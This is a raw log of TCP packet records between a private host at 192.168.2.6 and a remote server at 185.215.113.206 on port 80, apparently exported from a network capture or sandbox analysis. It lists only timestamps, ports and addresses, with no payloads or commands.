Oct 28, 2024 02:07:15.870378971 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.870378971 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.870378971 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.870399952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.870433092 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.870434999 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.870434999 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.870460987 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.870481014 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.939187050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.939244986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.939281940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.939333916 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.939347029 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.939347982 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.939372063 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.939383984 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.939409018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.939429998 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.939481974 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.939486980 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.939522982 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.939558983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.939563990 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.939584970 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.939590931 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.939614058 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.939629078 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.939644098 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.939692974 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941016912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941071033 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941091061 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941107035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941132069 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941142082 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941155910 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941195965 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941198111 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941229105 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941256046 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941277027 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941509008 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941538095 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941565990 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941590071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941617012 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941618919 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941636086 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941664934 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941688061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941724062 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941766977 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941766977 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941795111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941828966 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941891909 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941926956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941961050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.941968918 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.941970110 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.942020893 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.942133904 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.942188025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.942194939 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.942240000 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.942240953 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.942276001 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.942303896 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.942312002 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.942326069 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.942348003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.942363977 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.942384958 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.942403078 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.942420959 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.942445993 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.942456961 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.942466021 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.942502022 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.942871094 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.942905903 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.942926884 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.942940950 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.942955971 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.942979097 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.942989111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.943038940 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.943188906 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.943242073 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.943249941 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.943278074 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.943295002 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.943327904 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.943339109 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.943370104 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.943373919 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.943422079 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.987440109 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.987488031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.987539053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.987550020 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.987574100 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.987587929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.987607956 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.987626076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.987651110 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.987683058 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.987685919 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.987741947 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.987747908 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.987778902 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.987802029 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.987814903 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.987827063 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.987871885 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.056379080 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.056391954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.056402922 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.056415081 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.056427002 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.056462049 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.056525946 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058128119 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058185101 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058195114 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058195114 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058207035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058228970 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058238983 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058255911 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058262110 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058268070 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058280945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058291912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058309078 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058346033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058346033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058589935 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058640957 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058650970 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058655024 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058692932 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058692932 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058722973 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058775902 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058801889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058806896 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058820963 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058854103 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058881044 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058892012 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058901072 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.058938026 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.058967113 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.059165955 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059176922 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059186935 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059196949 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059225082 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.059257030 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.059405088 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059416056 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059427023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059473991 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.059477091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059489012 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059499025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059520006 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.059550047 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.059715033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.059850931 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059866905 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059876919 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059886932 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059895992 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.059914112 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.059914112 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.059947968 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.060206890 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.060218096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.060226917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.060265064 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.060313940 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.100888014 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.100922108 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.100967884 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.101005077 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.101012945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.101022005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.101063967 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.101094007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.104548931 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.104558945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.104604959 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.104612112 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.104635954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.104652882 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.104664087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.104674101 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.104675055 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.104695082 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.104717970 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.104952097 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.104960918 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.105007887 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.157099009 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.157109976 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.157186031 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.173484087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.173551083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.173563004 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.173573971 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.173583984 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.173643112 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.173660994 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.173670053 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.173722982 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.173754930 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.175075054 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.175086021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.175095081 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.175149918 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.175333977 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.175343990 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.175354958 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.175364971 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.175390005 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.175425053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.175425053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.175767899 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.175786018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.175827026 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.175852060 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.175864935 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.175877094 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.175926924 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.175926924 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.176007986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176018000 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176028967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176038980 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176049948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176073074 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.176126003 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.176225901 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176287889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.176307917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176317930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176322937 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176332951 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176372051 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.176403999 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.176651001 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176666975 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176677942 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176687956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176697969 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176707983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176712036 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.176721096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176731110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.176734924 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.176754951 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.176784992 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.177140951 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.177180052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.177191973 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.177197933 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.177242041 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.177253008 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.177253962 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.177263975 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.177274942 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.177285910 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.177294016 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.177294016 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.177319050 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.177346945 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.218463898 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.218478918 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.218489885 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.218576908 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.222013950 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.222026110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.222034931 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.222044945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.222054958 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.222064972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.222076893 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.222090960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.222126007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.222157001 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.222215891 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.222225904 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.222265005 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.222295046 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.268856049 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.268868923 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.268934965 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.290719032 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.290730953 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.290761948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.290774107 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.290781021 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.290822983 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.290822983 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.290868998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.290878057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.290921926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.290921926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.292407036 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.292418003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.292428017 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.292459011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.292464018 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.292500973 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.292501926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.292860985 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.292876959 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.292890072 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.292901039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.292907000 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.292911053 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.292929888 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.292931080 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.292956114 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.292956114 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.293100119 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293111086 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293121099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293135881 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293150902 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.293199062 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.293199062 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.293241024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293251991 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293262005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293291092 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.293313026 CET	80	49710	185.215.113.206	192.168.2.6
